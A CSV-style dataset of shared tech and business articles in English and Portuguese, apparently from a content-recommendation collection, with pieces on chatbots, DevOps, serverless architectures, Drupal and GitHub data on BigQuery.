1467230275,CONTENT SHARED,-7862677531530632089,-48161796606086482,-7053578390775788328,,,,HTML,http://www.techworld.com/picture-gallery/personal-tech/9-best-uses-of-chatbots-in-business-in-uk-3641500/,11 incredible ways UK businesses are using chatbots,"Chatbots: As a lawyer A free 'DoNotPay' chatbot has reportedly turned over 160,000 parking tickets in London and New York. Created by 19-year-old Stanford University student Joshua Browder, this chatbot helps its users contest parking tickets by asking a series of questions to determine whether the parking ticket was unfairly issued with a reported 64 percent success rate. Chatbots could be used regularly in the legal sector to sift through large volumes of data to pick out anomalies. Similar uses of AI have been used by Ravn Systems that created Ravn ACE, an AI 'robot' to search, read, interpret and summarise vast amounts of unstructured data, 10 million times faster than its human counterparts. Read Ravn's story here. Chatbots: In hotels Hilton Worldwide has launched a chatbot to help book rooms and organise trips using predictive chat technology, powered by [24]7's customer engagement platform. As it stands the reservations and guest assistance staff serve around 34 million guests each year, SVP, Global Reservations and Customer Care, Hilton Worldwide, Mike Gathright said: ""Our guests begin interacting with us well before they set foot into one of our hotels, so it's critical that we deliver the best possible online experience. ""[24]7 helps us anticipate what our guests want and ensure they receive the guidance that's right for them, at the right time in their journey. We are already seeing improvements in both agent and guest satisfaction, and we expect that to continue over time,"" said Gathright. Here's cofounder Ning Li's advice on how to navigate the world of VCs and successfully 'scale up' internationally Chatbots could teach you a new language, order a pizza for you or even act as your own personal concierge The best tech shares you should buy: How to make money as a tech investor",en
1467244052,CONTENT SHARED,4783081874753928396,-3203894957285229214,7052499203200195130,,,,HTML,https://www.linkedin.com/pulse/devops-fabio-della-santina,DevOps,"Primeiro o Básico Imagine a seguinte situação: na fase de desenvolvimento, são tomadas decisões sobre a arquitetura de uma aplicação. Na hora de subir para produção, descobre-se que foi utilizado um padrão arquitetural impróprio ou um framework não homologado. Ou por outra, no momento do planejamento da implantação em ambiente produtivo descobre-se que os recursos necessários de software, hardware e rede não haviam sido previamente planejados e a falta deles pode pode atrasar a implantação, ao mesmo tempo que o custo de providenciá-los pode inviabilizar a ativação de valor do que já foi construído. Ou, mais frequente, o processo de validação da aplicação para cada subida em produção é tão moroso que a ativação de valor é feita em semanas ou até meses após o término do desenvolvimento e dos testes. O objetivo de DevOps nada mais é do que solucionar estes problemas, trazendo o time de operações para junto do time de desenvolvimento desde a concepção da aplicação. Assim, ambos os times podem influenciar decisões que afetam o design da aplicação e a infraestrutura que a suportará em produção. Este é o conceito mais básico que deve ser considerado ao montar qualquer estratégia de DevOps corporativamente. Parece simples mas, de maneira geral, ignorar este fundamento é o erro mais comum em empresas que tentam aplicar DevOps de maneira corporativa. Já vi casos, por exemplo, onde se cria uma estrutura organizacional de DevOps que não é nem operação nem desenvolvimento, mas apenas uma área para estruturar processos de implantação e integração contínua que serão seguidos por outras áreas, estas sim ""Dev"" e ""Ops"". Considerando o conceito básico que citei acima, esta não é uma estratégia de DevOps consistente e, como regra, está fadada ao fracasso, porque não resolve o problema que deveria ser abordado, e em vez de aproximar os times de desenvolvimento e operações acaba adicionando mais um ator no fluxo de trabalho. Também é comum fazer DevOps dando apenas missões de automação para o time de desenvolvimento através de ferramentas e processos de integração, entrega e implantação contínua, sem trazer para o time ninguém do time de operações. Ora, isso também mantém distantes os dois times e não soluciona a questão mais básica. É importante ressaltar que processos e ferramentas que levam ao chamado continuous deploy fazem, sim, parte da estratégia de DevOps, porque dão ferramentas importantes de automação para este processo, contudo DevOps não se resume a isso. Outro tópico importante para uma estratégia bem sucedida de DevOps é a automação de testes, para executar de testes regressivos a cada implantação, assegurando o terceiro pilar importante no conceito de DevOps: a garantia da qualidade. De fato, com uma estratégia de DevOps implantada, seguindo seu conceito básico e com pessoas com autonomia para tomada de decisões necessárias, costumam-se ter implantações 30 vezes mais frequentes e com 50% menos falhas. Estes dados são do Software Engineering Institute da Carnegie Mellon University , mas se refletem na prática, a ponto de ser possível afirmar que não existe projeto completamente Agile sem a utilização de DevOps. Por fim, o conceito de DevOps pode ser estendido para qualquer prática que possa influenciar o design da aplicação, e é arriscado deixar para perceber isso no último minuto do jogo. Um exemplo é a Segurança da Informação, que já está pegando emprestado o conceito de ""DevSecOps"" e aliando o time de segurança ao time de desenvolvimento.",pt
1467246073,CONTENT SHARED,-2131823791227094865,881856221521045800,-1609125166981192463,,,,HTML,http://www.tecmundo.com.br/apps/106632-descubra-10-apps-importantes-brasileiro.htm,Descubra os 10 apps mais importantes para o brasileiro,"Qual é o aplicativo mais importante instalado no seu celular? Pense um pouco, veja qual é o indispensável e também nos diga nos comentários. Isso porque a eMarketer , companhia de pesquisas, divulgou um relatório mostrando quais são os apps mais relevantes para o brasileiros. De acordo com o levantamento, o campeão disparado é o mensageiro WhatsApp , que simplesmente abocanha 48% dos entrevistados. Para você ter uma noção do domínio do aplicativo, em segundo lugar está o Facebook com apenas 9,6% dos usuários de smartphones. Para fechar o TOP 5, os entrevistados ainda citaram o app da Google (1,6%), do Instagram (1,6%) e do Banco do Brasil (1,4%). Acompanhe o ranking completo: Android, iOS e Windows Phone Como o resto do mundo, o domínio do sistema operacional móvel Android também é bem grande no Brasil: 82,6% do mercado. Enquanto isso, o iOS (iPhones) está em segundo, com 9,2%, e o Windows Phone logo atrás, com 6,4%. O relato ainda comenta que mais de 141 milhões de smartphones Android devem ser vendidos no Brasil em 2016.",pt
1467246438,CONTENT SHARED,4485571547865864859,881856221521045800,-1609125166981192463,,,,HTML,http://gizmodo.com/boses-new-speaker-only-costs-150-but-you-have-to-build-1782743534,Bose's New Speaker Only Costs $150 But You Have to Build It Yourself,"Every company wants kids to build stuff-not in an illegal child labor kind of way but in a fun, educational kind of way. Ball robots are teaching kids code and Google's new modular blocks work toward a similar goal . But Bose's BOSEbuild speaker is more interested in teaching the ins and outs of sound and speaker design. It also looks cool as hell. The $150 speaker comes with its own companion app (iOS only) with step-by-step instructions that explore frequency, waveforms, magnets, electromagnets, and the general physics of sound. The included lights and faceplates are completely customizable, and assuming everything is put together correctly, the BOSEbuild speaker is also a fully functional Bluetooth speaker that can connect to whatever device for music-streaming goodness.",en
1467247748,CONTENT SHARED,4235212484048164433,-4028919343899978105,-3987163493963998467,,,,HTML,http://www.b9.com.br/65746/advertising/coca-cola-traz-ao-brasil-sabores-cereja-e-baunilha/,Coca-cola traz ao Brasil sabores cereja e baunilha,"Antes reclusas a países como os EUA e Reino Unido, os sabores de cereja e baunilha da Coca-cola chegam agora ao Brasil. A empresa produziu e começa vender no país os dois sabores a partir de hoje e o preço sugerido é de R$ 4,65 por cada lata de 310ml. Esses sabores ficam no país por tempo limitado, tempo esse que a Coca-cola obviamente não pretende revelar. Há uma restrição geográfica, no entanto. Os sabores só poderão ser encontrados nos estados de São Paulo, Minas Gerais, Mato Grosso do Sul e Paraná. No caso do sabor de cereja, não é tanto uma estreia quanto é um retorno: o sabor foi testado no Brasil na década de 90, mas não colou. Eu já provei o de cereja em uma viagem há pouco tempo e meu review oficial é o seguinte: não é lá muito bom. O de baunilha parece ser melhor.",pt
1467251464,CONTENT SHARED,-667193404227875686,3609194402293569455,6188727096970658788,,,,HTML,https://insights.fb.com/2016/06/23/the-drive-to-bank-on-digital/,The Drive to Bank on Digital,"Across Latin America's two most populous countries, people are starting to expect more from their banks. But are banks in Brazil and Mexico rising to the occasion? Recent research reveals that 1 in 2 online bankers don't think so. In a previous post, we looked at how mobile is reshaping the way people shop across Latin America. And now, a recent study allows us to shed new light on how digital and mobile are transforming the way people bank. To explore what increasing mobile usage, shifting behaviors and rising expectations mean for banks operating across Latin America, Facebook IQ commissioned Ipsos to conduct online interviews among 1,391 connected bankers-Brazilians in classes A, B and C and Mexicans in classes A, B, C+, C and C- who have Internet access and active bank accounts.* We discovered that the drive to bank online is widespread and reaches across genders and generations. We also found that banks have a significant opportunity to close the gap between their clients' expectations and services offered. Check out the infographic below to see what it all means for marketers.",en
1467284569,CONTENT SHARED,2625883933130361261,-1443636648652872475,6993866665607922813,,,,HTML,https://github.com/blog/2201-making-open-source-data-more-available,Making open source data more available,"Data gives us insight into how people build software, and the activities of open source communities on GitHub represent one of the richest datasets ever created of people working together at scale. In 2012, the GitHub Archive was launched , providing a glimpse into the ways people build software on GitHub. Today, we're delighted to announce that, in collaboration with Google, we are releasing a collection of additional BigQuery tables to expand on the GitHub Archive 1 . This 3TB+ dataset comprises the largest released source of GitHub activity to date. It contains activity data for more than 2.8 million open source GitHub repositories including more than 145 million unique commits, over 2 billion different file paths and the contents of the latest revision for 163 million files, all of which are searchable with regular expressions. With this new dataset, it's a simple query to find out which are the most commonly used Go packages , which US-schools have the most open source contributors and find all of the things that should never happen . Just as books capture thoughts and ideas, software encodes human knowledge in a machine-readable form. The expanded GitHub Archive is a great start toward the pursuit of documenting the open source community's vast repository of knowledge-but there's more to be done. Over the coming months, you can expect to hear from us on how we hope to make open source data even more available, portable, and useful. Whether you're a researcher studying open source communities , an organization looking to monitor the health of your open source projects, or curious about the latest trends in software development, go check out the new dataset hosted on Google Cloud to analyze one of the largest datasets of people collaborating on the planet. 1. If you'd like to hear more about the data release then check out this episode of The Changelog .",en
1467284774,CONTENT SHARED,-6727357771678896471,-1443636648652872475,6993866665607922813,,,,HTML,http://petapixel.com/2016/06/29/super-accurate-portrait-selection-masking-using-neural-networks/,This Super Accurate Portrait Selection Tech Uses Neural Networks,"A future version of Photoshop may include some pretty powerful automatic selection tools if the technology in this new paper by researchers at The Chinese University of Hong Kong and Adobe Research pans out. To be fair, this research was actually undertaken for the novice selfie-lovers among us. ""With the rapid adoption of camera smartphones, the self portrait image has become conspicuously abundant in digital photography,"" reads the intro. ""The bulk of these portraits are captured by casual photographers who often lack the necessary skills to consistently take great portraits, or to successfully post-process them."" Properly post-processing a portrait requires treating the portrait differently from the background, and so this tech is meant to automatically (and highly accurately) select out the portrait subject so you can apply that fancy Instagram filter to only your face. Motivations aside, the tech is impressive. The researchers trained a couple of deep convolutional neural networks to better recognize people in a portrait by adding in 1,800 portrait images from Flickr and manually labeling them with Photoshop quick selection. ""We captured a range of portrait types, but biased the Flickr searches toward natural self portraits that were captured with mobile front-facing cameras,"" they explain, coming back to the people this feature would initially be built for. ""These are challenging images that represent the typical cases that we would like to handle."" The results are impressive, and while the initial idea is obviously to apply this to some sort of auto-selection for smartphones, neural network-powered selection and masking has obvious applications for serious photographers. Will we see this feature in the next version of Photoshop? Maybe not. But an early version of the newly-released Face-Aware Liquify feature started as a Photoshop Fix gimmick (and an unpopular one at that ); we see no reason why this couldn't follow a similar trajectory. Click here to read the full paper for yourself, and then let us know what you think of this potential ""feature"" in the comments down below.",en
1467288669,CONTENT SHARED,-5014627593450767720,-5380862725077089346,-5535680675523205102,,,,HTML,http://buytaert.net/drupal-is-for-ambitious-digital-experiences,Drupal and ambitious digital experiences,"What feelings does the name Drupal evoke? Perceptions vary from person to person; where one may describe it in positive terms as ""powerful"" and ""flexible"", another may describe it negatively as ""complex"". People describe Drupal differently not only as a result of their professional backgrounds, but also based on what they've heard and learned. If you ask different people what Drupal is for, you'll get many different answers. This isn't a surprise because over the years, the answers to this fundamental question have evolved. Drupal started as a tool for hobbyists building community websites, but over time it has evolved to support large and sophisticated use cases. Perception is everything Perception is everything; it sets expectations and guides actions and inactions. We need to better communicate Drupal's identity, demonstrate its true value, and manage its perceptions and misconceptions. Words do lead to actions. Spending the time to capture what Drupal is for could energize and empower people to make better decisions when adopting, building and marketing Drupal. Truth be told, I've been reluctant to define what Drupal is for, as it requires making trade-offs. I have feared that we would make the wrong choice or limit our growth. Over the years, it has become clear that not defining what Drupal is used for leaves more people confused even within our own community. For example, because Drupal evolved from a simple tool for hobbyists to a more powerful digital experience platform, many people believe that Drupal is now ""for the enterprise"". While I agree that Drupal is a great fit for the enterprise, I personally never loved that categorization. It's not just large organizations that use Drupal. Individuals, small startups, universities, museums and non-profits can be equally ambitious in what they'd like to accomplish and Drupal can be an incredibly solution for them. Defining what Drupal is for Rather than using ""for the enterprise"", I thought ""for ambitious digital experiences"" was a good phrase to describe what people can build using Drupal. I say ""digital experiences"" because I don't want to confine this definition to traditional browser-based websites. As I've stated in my Drupalcon New Orleans keynote , Drupal is used to power mobile applications, digital kiosks, conversational user experiences , and more. Today I really wanted to focus on the word ""ambitious"". ""Ambitious"" is a good word because it aligns with the flexibility, scalability, speed and creative freedom that Drupal provides. Drupal projects may be ambitious because of the sheer scale (e.g. The Weather Channel ), their security requirements (e.g. The White House ), the number of sites (e.g. Johnson & Johnson manages thousands of Drupal sites), or specialized requirements of the project (e.g. the New York MTA powering digital kiosks with Drupal). Organizations are turning to Drupal because it gives them greater flexibility, better usability, deeper integrations, and faster innovation. Not all Drupal projects need these features on day one -- or needs to know about them -- but it is good to have them in case you need them later on. ""Ambitious"" also aligns with our community's culture. Our industry is in constant change (responsive design, web services, social media, IoT), and we never look away. Drupal 8 was a very ambitious release; a reboot that took one-third of Drupal's lifespan to complete, but maneuvered Drupal to the right place for the future that is now coming. I have always believed that the Drupal community is ambitious, and believe that attitude remains strong in our community. Last but not least, our adopters are also ambitious. They are using Drupal to transform their organizations digitally, leaving established business models and old business processes in the dust. I like the position that Drupal is ambitious. Stating that Drupal is for ambitious digital experiences however is only a start. It only gives a taste of Drupal's objectives, scope, target audience and advantages. I think we'd benefit from being much more clear. I'm curious to know how you feel about the term ""for ambitious digital experiences"" versus ""for the enterprise"" versus not specifying anything. Let me know in the comments so we can figure out how to collectively change the perception of Drupal. PS: I'm borrowing the term ""ambitious"" from the Ember.js community . They use the term in their tagline and slogan on their main page.",en
1467291890,CONTENT SHARED,-2828628091730682303,7645894863578715801,-6062980417313435691,,,,HTML,http://martinfowler.com/articles/serverless.html,Serverless Architectures,"Mike Roberts Mike is an engineering leader living in New York City. While spending much of his time these days managing people and teams he also still manages to code, especially in Clojure, and has Opinions about software architecture. He is cautiously optimistic that Serverless architectures may be worth some of the hype they are current receiving. Serverless is a hot topic in the software architecture world. We're already seeing books , open source frameworks , plenty of vendor products , and even a conference dedicated to the subject. But what is Serverless and why is (or isn't) it worth considering? Through this evolving publication I hope to enlighten you a little on these questions. A couple of examples UI-driven applications Let's think about a traditional 3-tier client-oriented system with server-side logic. A good example is a typical ecommerce app (dare I say an online pet store?) Traditionally the architecture will look something like this, and let's say it's implemented in Java on the server side, with a HTML / Javascript component as the client: With this architecture the client can be relatively unintelligent, with much of the logic in the system - authentication, page navigation, searching, transactions - implemented by the server application. With a Serverless architecture this may end up looking more like this: This is a massively simplified view, but even with this there are a number of significant changes that have happened here. Please note this is not a recommendation of an architectural migration, I'm merely using this as a tool to expose some Serverless concepts! We've deleted the authentication logic in the original application and have replaced it with a third party BaaS service. Using another example of BaaS, we've allowed the client direct access to a subset of our database (for product listings), which itself is fully 3rd party hosted (e.g. AWS Dynamo.) We likely have a different security profile for the client accessing the database in this way from any server resources that may access the database. These previous two points imply a very important third - some logic that was in the Pet Store server is now within the client, e.g. keeping track of a user session, understanding the UX structure of the application (e.g. page navigation), reading from a database and translating that into a usable view, etc. The client is in fact well on its way to becoming a Single Page Application . Some UX related functionality we may want to keep in the server, e.g. if it's compute intensive or requires access to significant amounts of data. An example here is 'search'. For the search feature instead of having an always-running server we can implement a FaaS function that responds to http requests via an API Gateway (described later.) We can have both the client, and the server function, read from the same database for product data. Since the original server was implemented in Java, and AWS Lambda (our FaaS vendor of choice in this instance) supports functions implemented in Java, we can port the search code from the Pet Store server to the Pet Store Search function without a complete re-write. Finally we may replace our 'purchase' functionality with another FaaS function, choosing to keep it on the the server-side for security reasons, rather than re-implement it in the client. It too is fronted by API Gateway. Message-driven applications A different example is a backend data-processing service. Say you're writing a user-centric application that needs to quickly respond to UI requests, but secondarily you want to capture all the different types of activity that are occurring. Let's think about an online ad system - when a user clicks on an advertisement you want to very quickly redirect them to the target of the ad, but at the same time you need to collect the fact that the click has happened so that you can charge the advertiser. Traditionally, the architecture may look like this. The 'Ad Server' synchronously responds to the user - we don't care about that interaction for the sake of this example - but it also posts a message to a channel that can be asynchronously processed by a 'click processor' application that updates a database, e.g. to decrement the advertiser's budget. In the Serverless world this looks like: There's a much smaller difference to the architecture here compared to our first example. We've replaced a long lived consumer application with a FaaS function that runs within the event driven context the vendor provides us. Note that the vendor supplies both the Message Broker and the FaaS environment - the two systems are closely tied to each other. The FaaS environment may also process several clicks in parallel by instantiating multiple copies of the function code - depending on how we'd written the original process this may be a new concept we need to consider. Unpacking 'Function as a Service' We've mentioned the FaaS idea a lot already but it's time to dig into what it really means. To do this let's look at the opening description for Amazon's Lambda product. I've added some tokens to it, which I then expand upon. AWS Lambda lets you run code without provisioning or managing servers. (1) ... With Lambda, you can run code for virtually any type of application or backend service (2) - all with zero administration. Just upload your code and Lambda takes care of everything required to run (3) and scale (4) your code with high availability. You can set up your code to automatically trigger from other AWS services (5) or call it directly from any web or mobile app (6) . Fundamentally FaaS is about running back end code without managing your own server systems or your own server applications. That second clause - server applications - is a key difference when comparing with other modern architectural trends like containers and PaaS (Platform as a Service.) If we go back to our click processing example from earlier what FaaS does is replace the click processing server (possibly a physical machine, but definitely a specific application) with something that doesn't need a provisioned server, nor an application that is running all the time. FaaS offerings do not require coding to a specific framework or library. FaaS functions are regular applications when it comes to language and environment. For instance AWS Lambda functions can be implemented 'first class' in Javascript, Python and any JVM language (Java, Clojure, Scala, etc.). However your Lambda function can execute another process that is bundled with its deployment artifact, so you can actually use any language that can compile down to a Unix process (see Apex later on.) FaaS functions do have significant architectural restrictions, especially when it comes to state and execution duration, and we'll come to that soon. Let's consider our click processing example again - the only code that needs to change when moving to FaaS is the 'main method / startup' code, in that it is deleted, and likely the specific code that is the top-level message handler (the 'message listener interface' implementation), but this might only be a change in method signature. All of the rest of the code (e.g. the code that writes to the database) is no different in a FaaS world. Since we have no server applications to run deployment is very different to traditional systems - we upload the code to the FaaS provider and it does everything else. Right now that typically means uploading a new definition of the code (e.g. in a zip or JAR file), and then calling a proprietary API to initiate the update. Horizontal scaling is completely automatic, elastic, and managed by the provider. If your system needs to be processing 100 requests in parallel the provider will handle that without any extra configuration on your part. The 'compute containers' executing your functions are ephemeral with the FaaS provider provisioning and destroying them purely driven by runtime need. Let's return to our click processor. Say that we were having a good day and customers were clicking on 10 times as many ads as usual. Would our click processing application be able to handle this? For example did we code to be able to handle multiple messages at a time? Even if we did would one running instance of the application be enough to process the load? If we are able to run multiple processes is auto-scaling automatic or do we need to reconfigure that manually? With FaaS you need to write the function ahead of time to assume parallelism, but from that point on the FaaS provider automatically handles all scaling needs. Functions in FaaS are triggered by event types defined by the provider. With Amazon AWS such stimuli include S3 (file) updates, time (scheduled tasks) and messages added to a message bus (e.g. Kinesis ). Your function will typically have to provide parameters specific to the event source it is tied to. With the click processor we made an assumption that we were already using a FaaS-supported message broker. If not we would have needed to switch to one, and that would have required making changes to the message producer too. Most providers also allow functions to be triggered as a response to inbound http requests, typically in some kind of API gateway. (e.g. AWS API Gateway , Webtask ) . We used this in our Pet Store example for our 'search' and 'purchase' functions. State FaaS functions have significant restrictions when it comes to local (machine / instance bound) state. In short you should assume that for any given invocation of a function none of the in-process or host state that you create will be available to any subsequent invocation. This includes state in RAM and state you may write to local disk. In other words from a deployment-unit point of view FaaS functions are stateless . This has a huge impact on application architecture, albeit not a unique one - the 'Twelve-Factor App' concept has precisely the same restriction . Given this restriction what are alternatives? Typically it means that FaaS functions are either naturally stateless - i.e. they provide pure functional transformations of their input - or that they make use of a database, a cross-application cache (e.g. Redis), or network file store (e.g. S3) to store state across requests or for further input to handle a request. Execution Duration FaaS functions are typically limited in how long each invocation is allowed to run. At present AWS Lambda functions are not allowed to run for longer than 5 minutes and if they do they will be terminated. This means that certain classes of long lived task are not suited to FaaS functions without re-architecture, e.g. you may need to create several different coordinated FaaS functions where in a traditional environment you may have one long duration task performing both coordination and execution. Startup Latency At present how long it takes your FaaS function to respond to a request depends on a large number of factors, and may be anywhere from 10ms to 2 minutes. That sounds bad, but let's get a little more specific, using AWS Lambda as an example. If your function is implemented in Javascript or Python and isn't huge (i.e. less than a thousand lines of code) then the overhead of running it in should never be more than 10 - 100 ms. Bigger functions may occasionally see longer times. If your Lambda function is implemented on the JVM you may occasionally see long response times (e.g. > 10 seconds) while the JVM is spun up. However this only notably happens with either of the following scenarios: Your function processes events infrequently, on the order of longer than 10 minutes between invocations. You have very sudden spikes in traffic, for instance you typically process 10 requests per second but this ramps up to 100 requests per second in less than 10 seconds. The former of these may be avoided in certain situations by the ugly hack of pinging your function every 5 minutes to keep it alive. Are these issues a concern? It depends on the style and traffic shape of your application. My former team has an asynchronous message-processing Lambda app implemented in Java which processes hundreds of millions of messages / day, and they have no concerns with startup latencey. That said if you were writing a low-latency trading application you probably wouldn't want to use FaaS systems at this time, no matter the language you were using for implementation. Whether or not you think your app may have problems like this you should test with production-like load to see what performance you see. If your use case doesn't work now you may want to try again in a few months time since this is a major area of development by FaaS vendors. API Gateway One aspect of FaaS that we brushed upon earlier is an 'API Gateway'. An API Gateway is an HTTP server where routes / endpoints are defined in configuration and each route is associated with a FaaS function. When an API Gateway receives a request it finds the routing configuration matching the request and then calls the relevant FaaS function. Typically the API Gateway will allow mapping from http request parameters to inputs arguments for the FaaS function. The API Gateway transforms the result of the FaaS function call to an http response, and returns this to the original caller. Amazon Web Services have their own API Gateway and other vendors offer similar abilities. Beyond purely routing requests API Gateways may also perform authentication, input validation, response code mapping, etc. Your spidey-sense may be buzzing about whether this is actually such a good idea, if so hold that thought - we'll consider this further later. One use case for API Gateway + FaaS is for creating http-fronted microservices in a Serverless way with all the scaling, management and other benefits that come from FaaS functions. At present tooling for API gateways is achingly immature and so while defining applications with API gateways is possible it's most definitely not for the faint-hearted. Tooling The comment above about API Gateway tooling being immature actually applies, on the whole, to Serverless FaaS in general. There are exceptions however - one example is Auth0 Webtask which places significant priority on Developer UX in its tooling. Tomasz Janczuk gave a very good demonstration of this at the recent Serverless Conference. Debugging and monitoring are tricky in general in Serverless apps - we'll get into this further in subsequent installments of this article. Open Source One of the main benefits of Serverless FaaS applications is transparent production runtime provisioning, and so open source is not currently as relevant in this world as it is for, say, Docker and containers. In future we may see a popular FaaS / API Gateway platform implementation that will run 'on premise' or on a developer workstation. IBM's OpenWhisk is an example of such an implementation and it will be interesting to see whether this, or an alternative implementation, picks up adoption. Apart from runtime implementation though there are already open source tools and frameworks to help with definition, deployment and runtime assistance. For instance the Serverless Framework makes working with API Gateway + Lambda significantly easier than using the first principles provided by AWS. It's Javascript heavy but if you're writing JS API Gateway apps it's definitely worth a look. Another example is Apex - a project to 'Build, deploy, and manage AWS Lambda functions with ease.' One particularly interesting aspect of Apex is that it allows you to develop Lambda functions in languages other than those directly supported by Amazon, e.g. Go. What isn't Serverless? So far in this article I've defined 'Serverless' to mean the union of a couple of other ideas - 'Backend as a Service' and 'Functions as a Service'. I've also dug into the capabilities of the second of these. Before we start looking at the very important area of benefits and drawbacks I'd like to spend one more moment on definition, or at least defining what Serverless isn't. I've seen some people (including me in the recent past) get confused about these things and I think it's worth discussing them for clarity's sake. Comparison with PaaS Given that Serverless FaaS functions are very similar to 12-Factor applications, are they in fact just another form of 'Platform as a Service' (PaaS) like Heroku ? For a brief answer I refer to Adrian Cockcroft If your PaaS can efficiently start instances in 20ms that run for half a second, then call it serverless. -- Adrian Cockcroft In other words most PaaS applications are not geared towards bringing entire applications up and down for every request, whereas FaaS platforms do exactly this. OK, but so what, if I'm being a good 12-Factor App developer there's still no difference to how I code? That's true, but there is a big difference to how you operate your app. Since we're all good DevOps-savvy engineers we're thinking about operations as much as we are about development, right? The key operational difference between FaaS and PaaS is scaling . With most PaaS's you still need to think about scale, e.g. with Heroku how many Dynos you want to run. With a FaaS application this is completely transparent. Even if you setup your PaaS application to auto-scale you won't be doing this to the level of individual requests (unless you have a very specifically shaped traffic profile), and so a FaaS application is much more efficient when it comes to costs. Given this benenfit, why would you still use a PaaS? There are several reasons but tooling, and maturity of API gateways, are probably the biggest. Furthermore 12-Factor Apps implemented in a PaaS may use an in-app readonly cache for optimization, which isn't an option for FaaS functions. #NoOps Serverless doesn't mean 'No Ops'. It might mean 'No internal Sys Admin' depending on how far down the serverless rabbit hole you go. There are 2 important things to consider here. Firstly 'Ops' means a lot more than server administration. It also means at least monitoring, deployment, security, networking and often also means some amount of production debugging and system scaling. These problems all still exist with Serverless apps and you're still going to need a strategy to deal with them. In some ways Ops is harder in a Serverless world because a lot of this is so new. Second even the Sys Admin is still happening - you're just outsourcing it with Serverless. That's not necessarily a bad thing - we outsource a lot. But depending on what precisely you're trying to do this might be a good or a bad thing, and either way at some point the abstraction will likely leak and you'll need to know that human sys admins somewhere are supporting your application. Charity Majors gave a great talk on this subject at the recent Serverless Conference and I recommend checking it out once it's available online. Until then you can read her write-up here and here . Stored Procedures as a Service Another theme I've seen is that Serverless FaaS is 'Stored Procedures as a Service'. I think that's come from the fact that many examples of FaaS functions (including some I've used in this article) are small pieces of code that wrap access to a database. If that's all we could use FaaS for I think the name would be useful but because it is really just a subset of FaaS's capability then thinking of FaaS in such a way is an invalid constraint. That being said it is worth considering whether FaaS comes with some of the same problems of stored procedures, including the technical debt concern Camille mentions in the referenced tweet. There are many lessons that come from using stored procs that are worth reviewing in the context of FaaS and seeing whether they apply. Some of these are that stored procedures: Often require vendor-specific language, or at least vendor-specific frameworks / extensions to a language Are hard to test since they need to be executed in the context of a database Are tricky to version control / treat as a first class application Note that not all of these may apply to all implementations of stored procs, but they're certainly problems that I've come across in my time. Let's see if they might apply to FaaS: (1) is definitely not a concern for the FaaS implementations I've seen so far, so we can scrub that one off the list right away. For (2) since we're dealing with 'just code' unit testing is definitely just as easy as any other code. Integration testing is a different (and legitimate) question though which we'll discuss later. For (3), again since FaaS functions are 'just code' version control is OK. But as to application packaging there are no mature patterns on this yet. The Serverless framework which I mentioned earlier does provide its own form of this, and AWS announced at the recent Serverless Conference in May 2016 that they are working on something for packaging also ('Flourish'), but for now this is another legitimate concern. This is an evolving publication, and I shall be extending it over the coming days and weeks to cover more topics on serverless architecture including the benefits and drawbacks of this approach, and where we might see serverless evolve over the next year or two. To find out when we publish these installments, keep an eye on the site's RSS feed , my twitter feed , or Martin's twitter feed.",en
1467292956,CONTENT SHARED,7544768317373280661,-1387464358334758758,8846131487417657746,,,,HTML,http://googlediscovery.com/2016/06/29/google-adiciona-medidor-de-velocidade-da-internet-nos-resultados-de-pesquisa/,Google adiciona medidor de velocidade da internet nos resultados de pesquisa | Google Discovery,"De acordo com um usuário do Twitter, o Google está testando uma nova funcionalidade em seu mecanismo de pesquisa que permite medir a velocidade da internet com apenas uma busca. No caso, o recurso de medição pode ser ativado com o termo [check internet speed] no Google americano. A gigante da internet alerta para a quantidade de dados que será utilizado no processo, a fim de evitar surpresas em operadoras com franquia. Looks like Google is testing their own internet speed test (query = ""check internet speed"") - not seeing it live - pic.twitter.com/wjsPIlEbFv - Dr. Pete Meyers (@dr_pete) June 27, 2016 Atualmente o Bing - também limitado somente aos residentes dos EUA - também já oferece uma solução parecida ao permitir checar a velocidade da conexão diretamente nos resultados. Basta pesquisar por [speed test]. Caso você não queira esperar por uma página do Google capaz de medir a velocidade da sua internet, os brasileiros podem acessar, sem qualquer restrição, o sistema de checagem de velocidade do Google Fiber . Há poucas semanas a Netflix entrou na briga ao lançar o Fast.com , uma ferramenta de verificação de velocidade que não exige nenhuma ação do usuário para funcionar, no qual tem sido bem recebido pelo público.",pt
1467294936,CONTENT SHARED,-8277924497842156608,-1443636648652872475,6993866665607922813,,,,HTML,https://cloudplatform.googleblog.com/2016/06/GitHub-on-BigQuery-analyze-all-the-open-source-code.html,GitHub on BigQuery: Analyze all the open source code,"Google, in collaboration with GitHub, is releasing an incredible new open dataset on Google BigQuery . So far you've been able to monitor and analyze GitHub's pulse since 2011 (thanks GitHub Archive project !) and today we're adding the perfect complement to this. What could you do if you had access to analyze all the open source software in the world, with just one SQL command? The Google BigQuery Public Datasets program now offers a full snapshot of the content of more than 2.8 million open source GitHub repositories in BigQuery. Thanks to our new collaboration with GitHub, you'll have access to analyze the source code of almost 2 billion files with a simple (or complex) SQL query. This will open the doors to all kinds of new insights and advances that we're just beginning to envision. For example, let's say you're the author of a popular open source library. Now you'll be able to find every open source project on GitHub that's using it. Even more, you'll be able to guide the future of your project by analyzing how it's being used, and improve your APIs based on what your users are actually doing with it. On the security side, we've seen how the most popular open source projects benefit from having multiple eyes and hands working on them. This visibility helps projects get hardened and buggy code cleaned up. What if you could search for errors with similar patterns in every other open source project? Would you notify their authors and send them pull requests? Well, now you can. Some concepts to keep in mind while working with BigQuery and the GitHub contents dataset: With BigQuery everyone gets a terabyte every month to run queries . If you've never tried BigQuery before, follow these getting started instructions . The contents table has all the non-binary files in GitHub that are less than 1MB. It's a huge table, with more than 1.5 terabytes of data! This means the monthly terabyte for BigQuery queries won't last long if you want to query this table. To make your life easier, we've created extracts with only a sample of 10% of all files of the most popular projects , as well as another dataset with all the .go, .rb. .js, .php, .py, and .java code . Use them to make your free quota last! If these tables are not enough, you can always create your own extracts (but you'll be billed for the respective storage). To do so, you could sign up for $300 in Google Cloud Platform credits. These credits could be used to store terabytes (and more) of data in BigQuery. BigQuery makes it easy to join different datasets. How about ranking coding patterns by the number of stars their projects get? See a related post looking at the Hacker News effect on a project's GitHub stars . SQL is not enough? Learn how BigQuery allows you to run arbitrary JavaScript code inside SQL to enable a full range of possibilities. To learn more, read GitHub's announcement and try some sample queries . Share your queries and findings in our reddit.com/r/bigquery and Hacker News posts. The ideas are endless, and I'll start collecting tips and links to other articles on this post on Medium . Stay curious!",en
